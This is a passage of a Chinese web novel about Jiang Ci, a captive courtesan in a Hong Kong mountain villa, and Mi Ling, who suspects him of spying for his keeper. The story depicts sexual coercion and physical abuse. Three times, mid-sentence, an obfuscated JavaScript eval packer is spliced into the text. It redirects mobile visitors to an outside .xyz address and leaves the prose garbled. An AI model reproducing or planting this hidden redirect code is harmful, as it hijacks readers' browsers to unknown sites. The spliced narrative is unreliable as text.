糜岭低着头小心翼翼给他抹药膏,忽然听到他在背后吃吃地笑,一回头就被他吻住了,抱他到怀里,捉住他冰凉的双脚捂在肚腹前,再把大衣裹住他,合上衣襟的时候发现里袋里那封信被动过,原本折起来的角被抚平了。 “你身上好暖和,”姜瓷枕在他肩上喃喃说着,手指轻轻搭在他嘴唇上,“我还想要亲亲。” 他把视线从信封上移开,并不吻他,嘴唇抿住他细白的指头,舌尖浅浅碰到了一个抹了药的水泡,些许的药膏的苦味在口腔里弥散开来。 “王妈都告诉我了。”他说。 姜瓷垂下手去拨弄他衬衫纽扣,解开来又扣上,好半晌才说:“哦……你没有骂她吧?” “我骂她干什么,这儿你最大,谁敢不听你的,你要做蠢事情,没人拦得住你。” “哪里蠢了?明明就是你要我哄你开心的。” 糜岭又去咬他手指:“手上全是水泡,我能开心到哪儿去?” 他羞赧地笑一笑,细声说:“你这么心疼我的啊?” “我就你一个宝宝,不心疼你心疼谁?不许再折腾了,听见没有?” 他不回答,抚弄着手指上的伤:“你有没有尝?我跟王妈学了好几天,可是总是烤糊,吃起来就苦苦的,但是英嬅姐姐说——” “本来我和她也就是偶尔碰一下面,她能知道我什么事情,她说什么你就信什么?” “你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831032|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她在撒谎吗?你的奶妈的事情……她还说你哭了呢。” 糜岭沉默下来,拿了药膏重新涂到他手指上,涂完了,才说:“有些事情我不想让别人知道,以后不要跟她打听我,她是你的医生,只是过来给你诊脉看病,少和她一起嚼舌根。” 一段话,这许多字,好像刚才他在那儿烧火时候,灶膛里炸开的木柴,啪嘭这样震耳的响,惊得他心口怦怦直跳,不过至少没有火星子溅出来伤了他,可是现在他靠在这个暖热的怀里,感觉头发都要被糜岭的火气点着。 他握着被药膏浸得冰凉的指尖,睫毛颤颤,两颊和下颌也抖得厉害,仿佛是忍不住要嚎哭出来了。 糜岭也知道话说得重了,赶忙来哄他:“舅舅的意思是,小宝用不着做这些事情。” 姜瓷颤声说:“可是你说我做得不够……” “小宝,”糜岭俯身温温柔柔地吻了他一会儿,手伸进他衣服里,“这样哄哄舅舅不就很好吗?” 姜瓷一点儿不觉得好,他煞白着脸,浑身僵硬,哆哆嗦嗦地发抖,然后还是把手圈住了糜岭肩膀。糜岭扯开了他的衣襟。他摸着他短硬的头发,仰头怔怔望着头顶灼亮的灯,眼泪扑簌簌地流。 一夜都很恍惚。他只大约知道上半夜在楼下,下半夜才回了房间,迷迷糊糊闭了会儿眼睛,感觉又在被拽着晃,掀了掀眼皮,看见窗外暗蒙蒙一片,就以为还没有天亮。正想再睡会儿,忽而一声惊雷,吓得他又睁了眼,才知道是天气不好,外面才这样暗,现下或许已是第二天了,就转头问:“阿岭,几点了?” 糜岭去摸大衣,从口袋里拿出手表看一眼,说:“九点钟。” “你不要去工作吗?” 糜岭吻着他含糊说:“再一会儿小宝……” 他不舒服,也很累,但不敢说不要,害怕不如糜岭的意,就再也找不到下山去看一看的机会了,委屈得一直哭。 糜岭见状也大概知道了他难受,就没再过分地折腾他。 姜瓷一时收不住泪,视线朦朦胧胧,模糊看到白蒙蒙两条直而长的雨雾飞到窗前,拢住了一棵本就郁郁的常青树,现在叶片吸饱了雨水,更是热烈鲜活,在那两条雨雾之间摇荡,搅扰得周遭水汽沥沥地往外泼。 王妈来请了两回,第三回敲门时糜岭在穿衣服。他见屋子里那盆炭火都烧尽了,就让王妈进门来加炭。她不敢多瞧,低着头,但一直听见姜瓷啜泣着哭得一抽一抽,还是忍不住往床上瞥了一眼,他一点点儿腿露在被子外,青青紫紫,简直像挨了一夜的打,再看他的脸,惨白,眼神混沌,惘惘然望着窗外的雨,整个人仿佛痴傻了似的。 她心里惶然,正想叫他一声,糜岭先开了口,说:“去拿点吃的来。” 见她走出去了,糜岭又俯身去抱姜瓷,轻轻揉着他肚子,说:“还疼?” 姜瓷摇摇头,攥着他衣领哀哀地说:“现在够了吗,可以了吗,可以带我下山吗?如果是你跟周盛业说的话,他应该会答应的,你去求求他,好不好?好不好?” 糜岭摸摸他哭得血红的眼睛,说:“舅舅想想办法,别哭了。” 想想办法……算什么回答?姜瓷看着他眼睛,试图从里面辨别出他话里的意思,可是他只瞧见那眼底倒映着一个苍白渺小的自己。他松开他衣领,撇过脸去。 糜岭仿佛没看见他凄哀的神色,若无其事地又亲亲他脸颊,说:“乖一点,好好吃饭,我再来看你。” 他没应声,听着他的脚步渐远了。不一会儿他也起来了,就裹着一条薄毯子跑下楼,跑到厨房里。王妈见了他,赶忙拽他出去。他不肯,与她拉扯着走到灶台边上,四下扫一眼,看到一旁水池底下的倒剩菜饭的桶里,飘着几块已经被泡软胀开的锅巴。 王妈拽着他说:“昨晚上三少爷亲手扔掉的……快回去躺着吧,天这么冷!” 14. 14 误人是功名 圣诞夜那天,糜岭到宾馆接了张志骁夫妻,再往金园去时天已经暗了。 张太太来香港时带了两个娘姨随身伺候,这次她们也一同上山,三人坐一辆车,张志骁则与糜岭坐另一辆,在前头开路。 糜岭自上车后就不曾说话,始终皱着眉,脸色也不大好。张志骁问他是不是不舒服,他说是太累了,近来为账本的事情焦头烂额。眼看年末又要查账,偏偏老会计重病,一时之间找不到人替代,只能他自己来盘,还要应酬谈生意,几乎没睡过一个整觉。 张志骁调笑他说:“今晚有那位在,你怕是连觉都没法睡了……春宵一刻值千金那。” 糜岭听了脸色却愈加沉郁了,抬起手臂搭在车窗沿,撑着脑袋就闭上了眼睛。 车子拐过几个山弯,颠簸着,晃得他困倦起来,迷迷糊糊之间隐约听到雷声,一睁眼,泼天的雨,哗啦啦往车前挡风玻璃上倒,车前灯照出去,只是成片的在狂风中歪歪扭扭的白色雨线,仿佛……仿佛一把雪白的流苏穗子……那个在浅水湾舞厅遇见的人,那个与他跳了一支舞的人,穿着白里带些许青的旗袍,盘扣是流苏样式,雪色的穗子,跳舞的时候总翩跹曳到他胸前来…… 他回过神,边叫“志骁”边转头看过去,然而身旁座位却是空的,余光又瞥见自己的手搭在方向盘上,这才发现自己竟坐在驾驶座开着车,手边也没有放着什么手杖。 思绪混乱之间,倏地,似有人在耳边说话,“快点快点”“来不及了”这样一遍遍地念,搅扰得他焦躁不安,太阳穴突突跳起来,心悸得喘不上气,恍惚了片刻,只听得“嘭”一声巨响,等反应过来,意识马上被一阵钻心的剧痛攥摄住,低头看去,他的右腿诡异地扭曲着卡在了驾驶座,挡风玻璃碎开来溅到他身上,望出车外,车头不知撞上了什么,已面目全非,从车身里泛起的阵阵白烟掩住了绵密的雨线,掩住了那流苏穗子……他艰难地探出手去抓,只攥住一片雨水,砭骨的冷,不住地打了几个冷噤,这时候忽而又天旋地转起来,在眩晕中猛地再一回神,又回到了车子后座,张志骁也坐在身旁,正把他手臂紧紧按在座位上。 “糜兄,你没事吧?做梦了吗?”张志骁松开他,“什么梦这么恐怖,你不知道你刚才简直一副要杀人的架势,我按都按不住,也叫不醒你,正要让司机停车来帮我。” “抱……歉。”他仍有些糊涂,望向外头,黑郁郁的山道,冬夜里萧瑟的风,一些光秃秃的树杈,更高更远的那个地方,金园里暖融融的灯光,可是被山里迷蒙的白雾模糊成了黯淡的一点儿,车子拐个弯,再去瞧,就怎么都瞧不见了。 他收回视线,说:“让你见笑了。” “你怎么了?要是身体不舒服,今夜就回去休息吧!” 糜岭沉默,手捏着右腿伤处,视线垂在那黑金手杖上,道:“没事……我就是梦见了那场车祸。” “喔……我记得你说过,当时是急着去见那个人,又下大暴雨。” 糜岭低低应一声,再望向外面雾蒙蒙里山顶那一团金光,说:“忘了告诉你,今晚是最后一次,往后我不会再来金园了。” “什么!可是我知道你舍不得呀!瞧瞧你这魂不守舍的样子,怎么突然就要分手了?” 糜岭不答,只说:“其实有件事我一直没对任何人提起。姜瓷他……他与那人长得很像。” 张志骁讶道:“竟有这样巧的事情!怪不得你对他那样神魂颠倒。” 糜岭无奈地笑一笑:“我再舍不得,现在也不能继续下去了,他确确实实在算计我。” “怎么说?” “前一阵子,他求我带他下山去参加舞会,我担心这其中有阴谋,就用了一封信试探他,想看看周盛业到底要做什么。那信放在我大衣里袋里,他拿出来看过。” “这不能说明什么,或许他就是好奇罢了。” 糜岭紧皱着眉摇头:“那信上写一个从浙江来的贾姓珍珠商约我晚上六点在醉生楼谈生意,我也确实在那天六点钟到了醉生楼。但是饭店里早已布满了周盛业的眼线。” “你如何知晓?” “事后有位钱太太找到贾老板,一字不差地说出了我与贾老板商谈的内容,多少货,货物什么时日运抵码头,多少定金,多少尾款,假若饭店中没有他的人,不可能会知道这些细节。” “这钱太太又是什么人物?” “她自称是钱氏珠宝行的老板娘,我叫人去查过,那珠宝店是在我回香港前后开起来的,背后的老板应该是周盛业,钱太太大约是他的情妇。她那日找到贾老板,给了他两千英镑,要他在货里掺一部分假,一同卖给我。” “嗬!两千英镑,真阔!”张志骁叹道,“你不知道货有假,卖出去,周盛业就能以卖假货的罪名找你的麻烦,到时陈家深陷危机,难以为继,钱太太就能跳出来吞了陈家,背地里还是周盛业得利。果真阴险……不过你又怎么知道这些?那贾老板说给你听的?” 糜岭笑道:“贾老板,就是假的老板,志骁你有时候也实在单纯。” 张志骁愣了愣,叫道:“好哇你,反过来给周盛业下套,安排一个‘假老板’和你一起演戏给他看!我猜现在这贾老板应该不知所踪了吧?你成了被贾老板骗钱的受害人,撇得一干二净,周盛业没能算计到你,又白白损失两千英镑,这老头怕是要气死了。” “倒是没死,病了,病得下不了床,”糜岭又笑,“我昨日去他公馆,请他一定帮我找到这位骗子贾老板,追回我的损失,他铁青着脸话都说不出来。” 张志骁乐得直拍手,说他也是只老狐狸,比周盛业还精。 糜岭就垂下眼帘,不大高兴地说:“假如姜瓷不看那封信不给周盛业递消息,我的这番计谋也无施展之处。珠宝行利润庞大,周盛业不吞下陈家不会轻易罢手,这一次没成功,不知道下一次又会用什么手段,至少不能再让姜瓷从我这儿探听消息,所以还是断了好。” “那么今夜是去吃散伙饭的了,不过竟然特地请我太太去给他做顿地道的上海家乡饭,你还是对他有点情意在的。” 糜岭不置可否:“他求我带他下山,不管是不是阴谋,我到底没能办成这件事,这顿饭就算弥补他了。” 三人抵达金园时已是要晚上八点钟了,一下车就看见了站在门口的姜瓷,他里头穿一件黑金织锦旗袍,外面披着翻领束腰的银狐大氅,拿一个黑色小手包,走近了再瞧,他化了艳丽的浓妆,描着眼线,眼皮上不知涂了什么,细碎地闪银光,粉的胭脂一直从两颊夸张地扫到鬓角,血红的唇,耳上吊着两个银坠,长长垂到肩头,大氅衣襟下,隐约瞧见一条绿翡翠项链绕在颈上。 张志骁看一眼糜岭,悄声问:“怎么,他以为你要带他去舞会么?” 糜岭蹙着眉不应声,走到姜瓷跟前,握住了他的手,冰凉的,看样子是在外头站了好一阵子了。 他轻声叫:“小宝?” 姜瓷根本不瞧他,只是直挺挺地站着,僵硬的姿态,呆滞的神情,还有那扑了粉的惨白的脸,全都似人偶娃娃一样没有生气。 张太太见着他这幅模样,一时有些害怕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张太太看得脸烧红,望向张志骁,张志骁便解围说:“小瓷,其实是我在香港待久了想吃家乡菜了,所以今夜过来借你的厨房一用,请我太太做顿饭给我吃,你就成全了我吧!”说完也不等姜瓷应答,牵着他太太便往厨房去了。 姜瓷见他们走了,就也要走,但糜岭把手臂紧紧勒着他的腰,胸膛压下来,将他整个人都拢在怀里。 “到哪去?”他问。 姜瓷用手背去抹嘴唇上的口红,蹭掉两颊胭脂,擦眼上的妆时泪水就默默流了下来。他转头看向糜岭,说:“去楼上换衣服,不然我还能去哪?去舞会吗?” 他一张脸上银的白的粉的混在一起,泪融化了描在眼圈周围的眼线,滑到颊上就成了黑色的水,两抹血一样的口红被蹭得歪到下颌上去,狼狈得不成样子。 糜岭看他这样,心里也有点儿不好受,拿手帕来擦他的脸:“小宝,哭什么?现在不是也很好吗?张太太也是上海人,你肯定喜欢她做的菜,吃完了饭,还可以和她说说话,让她给你讲讲上海的事。” 姜瓷冷笑一声,拍开他的手,讥讽道:“可是我不觉得好,我想下山,不是想吃饭,你觉得做几道上海的饭菜给我,我就能开心了吗?我不哭,难道要我笑,要我对你的自以为是感恩戴德吗?” “小宝——” “别说了!” 他忽然抬手往糜岭胸前一顶,从糜岭怀里跌脱出去,仰在身后小茶桌上,幸而桌上没有茶壶,但糜岭还是惊得跳起来去抓他,他却把两腿一下蹬到他肩上,翻个身就滚下了茶桌。 他跑上楼,迈步时大氅下摆啪嗒啪嗒地掀飞起来,露出脚上那双黑金绣鞋,鞋尖立着两只粉嫩嫩的蝴蝶缀饰,那蝴蝶翅膀一颤一颤,随着他脚步扬起来又坠下,直晃得人眼花缭乱,要是去了舞会跳起舞来,翩跹摇曳着,岂不与真蝴蝶没什么两样了,一定很美的…… 糜岭怔怔盯着,直到那蝴蝶消失在楼梯转角才收回视线,他抓过手杖要去追姜瓷,这时候王妈却过来了,端上茶水,把几盘点心递到他面前,问:“那么今夜三少爷不带他去舞会了吧?” 15. 15 别明月 “不去了。”糜岭说。 “哦,哦……也是,老爷不可能答应他下山的……今天算是白忙活一场,他一大早就起来了,又是弄头发又是挑衣服,从上午起就站在门口等,一整天都没吃饭,我劝也劝不住,而且——” “什么?上午?”糜岭惊得往王妈跟前走了一步,“这样大冷天就看着他在风里站了一天!有什么劝不劝得住,叫几个佣人来,绑也把他绑回房间去,不吃饭就掰开他嘴喂他吃,有什么难!” 王妈战战兢兢:“这、这……我……” 糜岭实在恼火,站起来要往楼上去。王妈见他这样怒气冲冲,生怕一会儿他会对姜瓷做什么,急得拽住他说:“上次您走了之后,他就病了,高烧好几天,昨天才稍微恢复过来些,本来今天白医生还要来打针,但是他说白医生要去舞会,就没叫来,现在兴许还发着烧,您有火气也……也忍忍吧……” 糜岭听了心口火烧火燎的:“你们这里的佣人,个个都昏了头,荒唐至极!什么舞会……你现在立刻打电话叫白医生过来!” 他三两步上了楼,进到房里,看见姜瓷已经换了身月白的旗袍,伏在床上。 他便以为他还在哭,有些不忍,压下怒火,轻轻叫了声“小宝”,哄了他几句,不见他有反应,反而他似乎躺在那儿一动都不动了,登时一身冷汗,立刻奔到床前抱起他,见他一手攥着心口,脸色煞白,但好在人是醒着的,半阖着眼睫毛颤颤。 “小宝?别睡,你看着我,看着我宝宝。”糜岭一边叫他,一边四下扫一眼,看到床铺上翻倒着一个药瓶,立刻倒出两粒喂他吃下去。 姜瓷这才像活过来似的沉沉喘起气来,伸手把那一瓶药握在手里,有气无力地说:“刚才……为什么,怎么找都、都找不到……” 糜岭贴着他稍有些烫的额头,一时间也有些惊魂未定,哄着他安慰说:“好了好了小宝,别怕,我来了,没事了。” “你来了,你来了……”他喃喃地重复糜岭的话,忽然大哭起来,揪起他衣领晃了晃,“可是你来得那样晚!我以为、以为再也见不到你了——” 他这会儿直起了身子,露出身上那件月白旗袍的全样来,从颈下到胁下的位置绣了一丛淡青的竹叶,绕在盘扣周围,那盘扣是流苏样式的,缀下一截细碎的雪白穗子,跟着他的身体左摇右荡。 糜岭看得呆住了,同时又听到他说这样的话,霎时一阵心悸,望着他洗去妆的白净的脸,一双媚眼,圆圆的鼻尖,肉肉的嘴唇,一切都那么像,那么像…… 他忽然有种奇妙的感觉,仿佛今夜是五年前那个暴雨夜的延续。 当时他接到消息,那个魂牵梦萦的人似乎出现在九龙的码头上,他急迫地开车去寻,却在暴雨中出了车祸。 可是现在,车祸后的这五年日夜仿佛只是蒙在眼前的一层纱,浅浅地隔开了那个雨夜和今晚的这一瞬间,现在这纱被风吹走了,他好像并没有遭遇车祸,好像是去到了那个码头,再次抱住了那个人,他月白的旗袍,盘扣上轻轻曳着的流苏穗子,他枕在自己肩上哭,哭诉着说,你来了,来得那样晚,我以为再也见不到你了…… 糜岭几乎也红了眼眶,紧紧抱着他,声音喑哑地说:“对不起小宝,对不起。” 白医生很快赶来给姜瓷打了针。搅扰了他的舞会之夜,姜瓷心里愧疚,拿了金手链给他当做弥补。糜岭在一旁没说话,送白医生到门外,才埋怨他不尽心云云。 白医生也觉得实在难做,憋了一肚子火,走到楼下,正好张太太也把晚饭端上了桌。王妈就好言请他留下吃饭,他当着张志骁夫妻的面,不好发作,也只能坐到了餐桌上。席间张志骁夫妻与他互相攀谈认识,交谈中才得知姜瓷已病了好几天了。 张太太又立马去厨房煮了一碗清淡的阳春面,让王妈送上去。 过了约半小时,糜岭下楼来了。其他人已经坐在厅里喝茶。张志骁见到他,忙问姜瓷的情况,他说:“好多了,不过他没胃口,没怎么吃那碗面,浪费你太太一番心意,劳顿了,张太太。” 张太太连连摆手说没关系,糜岭又说:“他想跟你当面道个谢,还要劳烦你去一趟。” “好,我这就去,志骁——” 张志骁就牵着她送她到二楼,为了避嫌,就在楼梯口站着。她往走廊里走了走,瞧见一扇房门开着,踱步到门口往里探一眼,看见姜瓷坐在床边,就走了进来。 两人打过招呼,姜瓷走到梳妆台前,从抽屉里拿出一个锦盒,递到张太太手中,说:“这个你拿着,谢谢你为我下厨,我、我很想上海的,你煮的面条,和我妈妈煮的味道很像……” 张太太把锦盒打开一看,满满的珠宝首饰,几乎要溢出盒子来。她忙把盒子往桌上一放,说:“这……我不能收。” “你拿着吧,我都没有戴过,是新的。” “不,真的,我不能要。” 姜瓷撩了撩眼皮看她一眼,噗通一下坐到椅子上,望向梳妆台镜子里的自己,旗袍的高领子一直抵到他浅小的喉结处,险些就遮不住颈上的手指印和咬痕,上一回糜岭把他翻来覆去地折腾,养到现在身上的青紫还褪不下去。 他沉默半晌,说:“对,对,你是正经人家的太太,怎么能收我的东西。” “你……我、我不太懂你的意思。” 他用手拨弄着那锦盒上的锁扣,自顾自继续说:“我被周盛业关在这里,逃又逃不出去,能怎么办呢……他送来许多人,与他们的每一次我都不愿意,所以我从来不觉得我是一个娼妓。只有阿岭,我只愿意和他一起,相处的时候,他总会把你捧得那么高,好像这世上再没有比你更美好更贵重的存在了,所以我更不觉得我是一个娼妓。可是这一回,我真的很想下山去看看,我只能去求他,只能用身体讨好他,用身体跟他做交易……只有这一回,我感觉我真的是一个妓。假如他真的带我下山了,那至少还显得我没有那么便宜那么下贱。” 他笑了两声,眨了眨眼就落下泪来。 张太太事先并不知道他的身份,只当他是糜岭喜欢的人,现下被他一番话惊得坐立不安,脸上一阵红一阵白,半天才憋出话来,说:“你好好休息,我就先……先走了。” 姜瓷一个人默默哭了一阵儿,听到楼下传来车声,以为糜岭不告而别,慌忙地奔到窗前去看,却只是白医生的车开走了。他到楼下去,客厅里一个人都不在,桌上的茶杯还飘着热气,隐约能听到厨房里热热闹闹的说话声。他走过去一瞧,王妈与那两个娘姨,还有张太太张先生,挤在水池前一边洗碗一边聊天,似是在说他和糜岭的事。 他悄悄走开了,在厅里待了一会儿,还是记挂着糜岭,就起身去寻,屋子里转了一圈没找到,再去花园,进了园林,远远瞧见小亭子里两个身影,还当是谁,再打眼一看,一个是张志骁,不知什么时候也从屋子里出来了,另一个人自然就是糜岭了。 他慢吞吞走过去,一直到了廊桥上,那两人竟都没发现他。 在这个位置,能很清楚地听见他们的说话声。起初都是张志骁在讲,说:“我理解你的顾虑,可是你没听刚才我太太说么,姜瓷聊起你都哭了。” “她认识姜瓷多久,我认识姜瓷多久?”糜岭声音冷冷的,像园子里的夜风。 “你有时候就是莫名其妙地固执。” 糜岭道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831034|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“假如他真的没有和周盛业一起算计我,信的事要怎么解释?” 张志骁沉默下来。 姜瓷抱紧了手臂。他出来时没穿外套,这会儿已冷得瑟瑟发抖,胸口又刺痛起来,有些站不住,粗喘了几口气,扶着廊桥围栏缓缓蹲下,盯着池塘里自己的倒影。 怎么回事?这是什么话?竟然说他与周盛业合谋,好像这世上有人乐于当娼妓似的……至于那封信,毛呢大衣里的那封信吗?他又不认得字,能读懂什么?怪不得不带他下山,原来是疑心他会害他。 他扯起嘴角笑一下,水面上自己的脸只是模模糊糊一团黑。都是这样的,他对自己说,来金园的人都是一边沉沦,一边厌弃,只是糜岭比较会扮深情……不,不对,是他有一张与糜岭心上人相似的脸,否则糜岭怕是连深情都扮不出来。 然后他听到张志骁又道:“好吧,毕竟是你自己的事,我也就不多嘴了,不过至少得好好了结这段关系吧?悄悄地一走了之可不体面,他还病着呢。” 糜岭不说话,垂眼看着自己衬衣的衣襟,姜瓷的泪还浸在上面没有干,湿湿的一片贴在皮肤上,牵着心口痛起来。他感觉身体被一左一右两只手拉扯着,一边是他因为姜瓷与周盛业的关系而生出的千种防备与猜忌,一边是他因为姜瓷与那人相像的脸而生出的万般柔情与挂念,两边互相颉颃,直争抢得要把他生生扯成两半的架势。 这一头姜瓷一直没听到他说话,就站起来,故意弄出了点儿声响,朝那儿喊:“阿岭。” 那两人这才看见他,张志骁与糜岭对视一眼,悄声说:“不会被他听到了吧?”糜岭沉着脸不应。张志骁便朗声问:“小瓷,你什么时候来的,我都没听见声音。” “就刚才,”他走到亭子前,若无其事地,“你们在说什么?” 张志骁有些心虚地说:“没什么,那你们先聊,我回去了。” 他一转过身去,糜岭就抱姜瓷到怀里,脱下大衣披到他身上,说:“怎么就这样出来了,还嫌病得不够,你……叫我怎么放心。” 姜瓷心里明白,这些甜言软语不是说给他听的,透过他这张与“真品”相似的脸,糜岭只把他当做一个愿意用身体换取一切的妓。他感到愤怒又委屈,身体里那些尖叫与眼泪,假若不一一发泄出来,仿佛就要爆炸开来般的紧迫与绝望,可是此刻喉咙里好像卡了灼热的炭火,把他烫哑了,烫得他再说不出一个字来了。 “小宝……”糜岭欲言又止的样子。 姜瓷胆战心惊,他真怕他再从嘴里吐出几个沾着蜜糖的字,他不知道那些喁喁情话对他来说是一种多么欢快的残忍,于是他立刻踮起脚搂住糜岭脖子,颤着双唇去吻他。 这样也好,最后了,至少要把最后的回忆装饰得美好一些,他们之间的这么一点点儿柔情,即便是虚假的,像那些梨膏糖,不管吃多少也不能让他回到上海回到家乡去,但是足以给予他一些慰藉。 园子里很暗,看不清糜岭脸上的表情,只有他一双眼睛星子似的煌煌发亮。 “小宝,宝宝,”糜岭低声叫他,“你乖乖地养病,我……我再来看你。” 他知道糜岭是在哄他,他知道糜岭不会再来了,可是还是顺从又平静地点了点头。糜岭抱紧他,亲了亲他头发,带他出了园子。 他们几人离开金园的时候,姜瓷推说不舒服,没有去送。他藏在房间窗帘后面,看到糜岭往窗户遥遥望了一眼才坐进车里。 车子开上山道,山里濛濛的雾气把车灯都彻底掩盖住,眨眼之间就什么都瞧不见了。天上没有月,他的月亮也远走了……不过本来月亮就是只能亮一会儿的,而黑暗永恒又无限。* 16. 16 眼前雾 圣诞节后第二天,张志骁夫妻启程回上海。一大早,糜岭送了他们上船,从码头回去时天还暗着。路上有点薄雾,司机开得慢,可路过一个十字路口时还是险些撞到人。他跟着司机下车查看,不想站在车前的竟是英嬅,还搂着吝吝。 糜岭原本因为英嬅把他的私事说出去,心里就对她有意见,不太愿意见她,但现在也只好硬着头皮迎上去,扶起母女两人,问是否好。 英嬅说:“没事,没撞到。” “这么早就出来?” “嗯,今天她爸爸不在家,我偷偷带她出来玩一天。刚才过马路让她不要跑,她不听,差点出大事。” 糜岭就拉开车门请她们坐进去:“早饭我请吧,吝吝想吃什么?” “随便吃点就好了,”英嬅拉了拉吝吝的手,“叫人呀吝吝。”吝吝就轻轻地叫了一声“舅舅”。 糜岭听了一阵恍惚,一句“小宝”卡在喉咙差点脱口而出。他稳了稳心神,笑着说:“我怎么是你舅舅了,难道我看起来跟你的两个亲舅舅一样老?” 英嬅跟着笑:“你这孩子,还没睡醒?他不是你糜叔叔么?” 吝吝红着脸又叫一声“叔叔”,细声细气的。糜岭听着仿佛还觉得是姜瓷在叫他,不自觉去抓口袋里一张手帕,那晚给姜瓷擦脸用的,上面还渗着胭脂的淡粉色,一直没舍得洗,摸起来仿佛也还浸满了姜瓷眼泪般的潮。 到了餐馆,吃饭的时候,英嬅问起糜岭父亲陈兴的情况,说前几日她哥哥去给陈兴诊脉,老爷子心情郁结,整日茶饭不思,瘦骨嶙峋,不知道这两天好些没有。 糜岭没马上回话,看一眼窗外街上,雾已经散了,陆续有商贩出摊,热热闹闹地叫喊起来。他拿出几个零钱给吝吝,说:“吝吝,你看外面有个卖烤红薯的,你替叔叔买两个来吧,小心车子,慢慢走,知道吗?” 吝吝拿着钱出了店,他才开口说:“没去看他,他本就上年纪了,外面又养着那么多情妇,身体能好么,三天两头就病一回,还不知道收敛。昨天晚上还有个舞女到我的公馆去要钱,说他在舞厅里赊了万把块的账。” 英嬅臊红了脸:“我还以为他是因为青柏的事吃不下饭……” 糜岭看她一眼,问:“青柏的什么事?” “最近城里都在传,说青柏不是出去读书,是……是被山上的精怪吸走了魂,变痴傻了,才走的。” 糜岭皱起眉,陈青柏变痴傻倒是真的,可什么山上的精怪……一句“胡说八道”已经悬在舌尖了,可转念一想,姜瓷可不就是会吸人的魂么,把他的魂也绊在山上,叫他这两天浑浑噩噩,晚上梦见他撒着娇要抱还不算,连白日里打盹的时候也总想着他鞋上那两只蝴蝶。 英嬅见他冷着脸不说话,就劝慰道:“都是些风言风语,用不着放心上。青柏以前确实有些出格,私奔这种事竟也敢想。” 话一说出来,糜岭脸色眼见着更不好了,她便小心翼翼地问:“怎、怎么了?” 糜岭低声说:“你怎么知道私奔的事情?从哪儿听来的?” “不……青柏告诉我的呀!” 英嬅就把前一阵子陈青柏找到医馆,请她给姜瓷递字条的事情说了。 “本来我也不知道字条上写了什么,可是小瓷他不认字,我就替他看了,上面就写要带小瓷私奔。他知道后又气又怕,气青柏自作多情,怕周盛业知道了要罚他。我下山后马上就去劝青柏,他还跟我红脸……不过他现在不是改好了出国读书了么!” 糜岭僵坐着,一手藏在口袋里紧紧攥着那张手帕,沉默了好一阵子,直到吝吝回来把两个冒着热气烤红薯交到他手里,他才缓过神,一边掌心滚烫得仿佛有火在烈烈地烧,一边掌心里那帕子浸满的泪仿佛结成了冰。 “我突然想起来有点急事……”他有些忙乱地站起身披上外套,付了早餐钱,又拿出几张钞票,“给吝吝买点衣服玩具,好好玩。” 英嬅赶忙抓着钞票要还他:“不,不用,欸,你等等——” 可他已经走出店外,闪身坐进车里,一眨眼的功夫,车子就驶离街道,往郊外的方向去了。 城里的雾是散了,山里还是那样白濛濛一片,车子开不快,糜岭心中焦躁,恨不能马上飞到姜瓷那儿去,可偏偏越急越要出意外,车子开到半山腰,不知碾到了什么,轮胎漏气,再开不了了,他只能拄着手杖爬山。 雾浓,在出汗之前衣服就被水汽浸潮了,湿冷地贴着皮肤,其余地方还好说,只是腿伤处砭骨地痛,爬山对他来说本就吃力,这下更是艰难,动一步就仿佛剐掉块肉似的,强撑着走走停停,等踏进金园已是晌午时分。 司机是个小个子,方才搀着糜岭走上来,也精疲力竭了,要进屋里去叫人,但糜岭一瞥眼看见院子里停着两辆警用车,立刻示意司机噤声,借着雾气的遮掩,悄悄踱步到窗前,往里窥视。 周盛业坐在客厅沙发上,姜瓷站在他跟前,喏喏地低着头,有四个配枪的高大警员分两队站在他身旁。 听不见里面的声音,只瞧见周盛业嘴唇张合着一动一动,等终于说完了话,就把夹在手指的一根雪茄递到了嘴边,紧紧盯着姜瓷。半晌,姜瓷微微摇了摇头。周盛业见了猛然暴起,一把揪住了姜瓷的头发。 姜瓷竟安安静静的,不叫也不哭,只是像突然被抽了魂似的,剩下一具皮囊再不能支撑下去,软塌塌就往地上坠,可是他一把头发还在周盛业手里牢牢攥着,周盛业提着他,像提着个皮影戏的人偶,把他无力的手脚四处乱甩,将那张沙发前的茶桌都碰翻了。 糜岭霎时一阵胸闷气短,耳边嗡嗡直响,气红了一双眼,抬手就要敲窗喊“小宝”,可这时忽然听得周盛业高声叫骂道:“在他身边这么久,什么都打探不出来,你除了身上那股浪劲儿还有什么,跟你妈一样的又骚又贱!” 姜瓷原本一副心神颓废、随他宰割的样子,然而现下被这句话一激,瘫软的身子立刻像离了水的鱼一样挣扎起来,去挠周盛业,也尖声叫道:“你有本事,你本事多么大啊!大到要我用身体来帮你换官位……说下贱到底谁下贱!” “你——”周盛业大骂一声,抬脚要踹他,可顿了一顿,不知为何又把脚收了回去,冷冷地笑了两声。 姜瓷靠着翻倒的茶桌坐了起来,捂着心口,边咳边说:“你要我怎么样,要我怎么样?!咳咳……我不识字,你又不让我学,难道你指望我突然就能看懂那封信上写的东西!” 